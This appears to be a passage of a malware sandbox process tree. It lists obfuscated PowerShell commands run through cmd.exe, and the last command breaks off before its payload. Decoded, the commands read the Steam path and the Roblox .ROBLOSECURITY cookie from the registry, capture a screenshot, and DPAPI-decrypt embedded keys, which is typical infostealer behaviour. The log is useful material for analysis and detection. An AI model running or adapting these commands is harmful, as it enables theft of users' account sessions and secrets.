                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:6648
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:6652
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:6604
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:6248
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:6840
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwA0ADgAdQBnAGsAMQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA=="
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:276
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwA0ADgAdQBnAGsAMQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AEoAcABlAGcAKQA7ACQAZwAuAEQAaQBzAHAAbwBzAGUAKAApADsAJABiAG0AcAAuAEQAaQBzAHAAbwBzAGUAKAApAA==
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5888
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA=="
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1172
                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABwACAAPQAgACcALgBSAE8AQgBMAE8AJwAgACsAIAAnAFMARQBDAFUAUgBJAFQAWQAnADsAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAFIAbwBiAGwAbwB4AFwAUgBvAGIAbABvAHgAUwB0AHUAZABpAG8AQgByAG8AdwBzAGUAcgBcAHIAbwBiAGwAbwB4AC4AYwBvAG0AJwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AJABwAA==
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2632
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:6776
                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1708
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA=="
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:5324
                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand 